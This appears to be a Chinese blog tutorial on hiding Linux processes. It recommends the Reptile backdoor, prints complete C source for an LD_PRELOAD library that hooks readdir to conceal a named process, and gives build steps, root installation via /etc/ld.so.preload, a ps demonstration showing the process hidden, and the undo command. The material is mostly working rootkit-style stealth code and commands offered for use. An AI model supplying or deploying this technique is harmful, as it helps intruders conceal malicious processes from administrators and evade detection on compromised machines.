linux 隐藏进程

1、首先推荐一个后门程序https://github.com/f0rb1dd3n/Reptile 具体可以了解一下功能非常强大。

2、源码如下

root@ubuntu:/var/srt/libprocesshider# cat processhider.c
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*slepp表示要隐藏的的进程名字，这么方便测试就改成sleep了
*/
static const char* process_to_filter = "sleep";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
root@ubuntu:/var/srt/libprocesshider#

root@ubuntu:/var/srt/libprocesshider# cat Makefile
all: libprocesshider.so

libprocesshider.so: processhider.c
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

.PHONY clean:
rm -f libprocesshider.so
root@ubuntu:/var/srt/libprocesshider#

　3、目录结构

root@ubuntu:/var/srt/libprocesshider# ll
总用量 2684
drwxr-xr-x 3 root root    4096 6月  25 11:51 ./
drwxr-xr-x 5 root root    4096 6月  25 15:43 ../
-rw-r--r-- 1 root root     168 6月  25 11:45 Makefile
-rw-r--r-- 1 root root    3476 6月  25 11:50 processhider.c

　　4、编译安装

root@ubuntu:/var/srt/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl   

root@ubuntu:/var/srt/libprocesshider# sudo mv libprocesshider.so /usr/local/lib/

root@ubuntu:/var/srt/libprocesshider# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

　　5、测试

root@ubuntu:/var/srt/libprocesshider# sleep 1000000 &
[1] 25663
root@ubuntu:/var/srt/libprocesshider# ps -ef |grep 25663
root     25665  2996  0 17:17 pts/0    00:00:00 grep --color=auto 25663
root@ubuntu:/var/srt/libprocesshider#

　　6、恢复

root@ubuntu:/var/srt/libprocesshider#
root@ubuntu:/var/srt/libprocesshider# >/etc/ld.so.preload
root@ubuntu:/var/srt/libprocesshider# ps -ef |grep 25663
root     25663  2996  0 17:17 pts/0    00:00:00 sleep 1000000
root     25667  2996  0 17:18 pts/0    00:00:00 grep --color=auto 25663
root@ubuntu:/var/srt/libprocesshider#

　　7、可以写个脚本灵活的来使用它哈。